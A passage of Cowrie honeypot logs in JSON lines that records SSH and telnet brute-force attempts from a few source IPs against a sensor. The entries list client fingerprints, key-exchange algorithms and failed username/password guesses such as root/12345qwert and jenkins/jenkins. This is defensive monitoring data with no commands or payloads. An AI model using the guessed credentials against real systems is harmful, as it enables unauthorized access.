sh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:45.704678Z","src_ip":"45.156.87.253","session":"5b26569f099b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:45.946833Z","src_ip":"45.156.87.253","session":"5b26569f099b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:47.030216Z","src_ip":"45.156.87.253","session":"5b26569f099b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45998,"dst_ip":"10.17.0.5","dst_port":22,"session":"bea065cabd4f","protocol":"ssh","message":"New connection: 45.156.87.253:45998 (10.17.0.5:22) [session: bea065cabd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:48.963403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:48.966640Z","src_ip":"45.156.87.253","session":"bea065cabd4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:49.047024Z","src_ip":"45.156.87.253","session":"bea065cabd4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"111111","message":"login attempt [tom/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:49.291348Z","src_ip":"45.156.87.253","session":"bea065cabd4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:50.375074Z","src_ip":"45.156.87.253","session":"bea065cabd4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":42902,"dst_ip":"10.17.0.5","dst_port":22,"session":"27a9e19e0d53","protocol":"ssh","message":"New connection: 162.241.239.241:42902 (10.17.0.5:22) [session: 27a9e19e0d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.247205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.252064Z","src_ip":"162.241.239.241","session":"27a9e19e0d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.274156Z","src_ip":"162.241.239.241","session":"27a9e19e0d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S0L@Tr0ng$P@ss","message":"login attempt [root/S0L@Tr0ng$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.342382Z","src_ip":"162.241.239.241","session":"27a9e19e0d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58696,"dst_ip":"10.17.0.5","dst_port":22,"session":"85fcb6ab4bf2","protocol":"ssh","message":"New connection: 45.156.87.253:58696 (10.17.0.5:22) [session: 85fcb6ab4bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.386227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.389574Z","src_ip":"45.156.87.253","session":"85fcb6ab4bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.469597Z","src_ip":"45.156.87.253","session":"85fcb6ab4bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:52.712224Z","src_ip":"45.156.87.253","session":"85fcb6ab4bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:53.366279Z","src_ip":"162.241.239.241","session":"27a9e19e0d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:53.794363Z","src_ip":"45.156.87.253","session":"85fcb6ab4bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58732,"dst_ip":"10.17.0.5","dst_port":22,"session":"678a686758e1","protocol":"ssh","message":"New connection: 45.156.87.253:58732 (10.17.0.5:22) [session: 678a686758e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:55.753658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:55.757854Z","src_ip":"45.156.87.253","session":"678a686758e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:55.839184Z","src_ip":"45.156.87.253","session":"678a686758e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:56.086934Z","src_ip":"45.156.87.253","session":"678a686758e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:57.208510Z","src_ip":"45.156.87.253","session":"678a686758e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61716365814209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:58.124493Z","src_ip":"50.62.181.92","session":"8b6b862aa99d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59964,"dst_ip":"10.17.0.5","dst_port":22,"session":"91af59c943e3","protocol":"ssh","message":"New connection: 45.156.87.253:59964 (10.17.0.5:22) [session: 91af59c943e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:59.142548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:59.146802Z","src_ip":"45.156.87.253","session":"91af59c943e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:59.229161Z","src_ip":"45.156.87.253","session":"91af59c943e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:59.644220Z","src_ip":"45.156.87.253","session":"91af59c943e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:00.727978Z","src_ip":"45.156.87.253","session":"91af59c943e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.806591749191284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:01.714838Z","src_ip":"14.47.200.242","session":"ce54b0971baf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":40107,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ac73486a95","protocol":"telnet","message":"New connection: 14.47.200.242:40107 (159.203.135.109:23) [session: 95ac73486a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:01.913848Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xdf\\xda\\xd3\\xd7\\xd0'","password":"b'\\xd0\\xd7\\xd3\\xda\\xdf'","message":"login attempt [b'\\xdf\\xda\\xd3\\xd7\\xd0'/b'\\xd0\\xd7\\xd3\\xda\\xdf'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:02.800619Z","src_ip":"14.47.200.242","session":"95ac73486a95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59966,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ec96c7709da","protocol":"ssh","message":"New connection: 45.156.87.253:59966 (10.17.0.5:22) [session: 8ec96c7709da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:02.822578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:02.827377Z","src_ip":"45.156.87.253","session":"8ec96c7709da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:02.912237Z","src_ip":"45.156.87.253","session":"8ec96c7709da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:03.185203Z","src_ip":"45.156.87.253","session":"8ec96c7709da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:03.742730Z","src_ip":"14.47.200.242","session":"95ac73486a95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:04.269017Z","src_ip":"45.156.87.253","session":"8ec96c7709da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:04.671981Z","src_ip":"14.47.200.242","session":"95ac73486a95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87820291519165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:05.599373Z","src_ip":"72.167.226.244","session":"e8bf2f984400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59972,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec0e5a03b8c1","protocol":"ssh","message":"New connection: 45.156.87.253:59972 (10.17.0.5:22) [session: ec0e5a03b8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:06.174184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:06.178870Z","src_ip":"45.156.87.253","session":"ec0e5a03b8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:06.261053Z","src_ip":"45.156.87.253","session":"ec0e5a03b8c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:06.507463Z","src_ip":"45.156.87.253","session":"ec0e5a03b8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:07.591757Z","src_ip":"45.156.87.253","session":"ec0e5a03b8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46010,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a9b01bd774","protocol":"ssh","message":"New connection: 45.156.87.253:46010 (10.17.0.5:22) [session: e4a9b01bd774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:09.691425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:09.698405Z","src_ip":"45.156.87.253","session":"e4a9b01bd774","protocol":"ssh"}
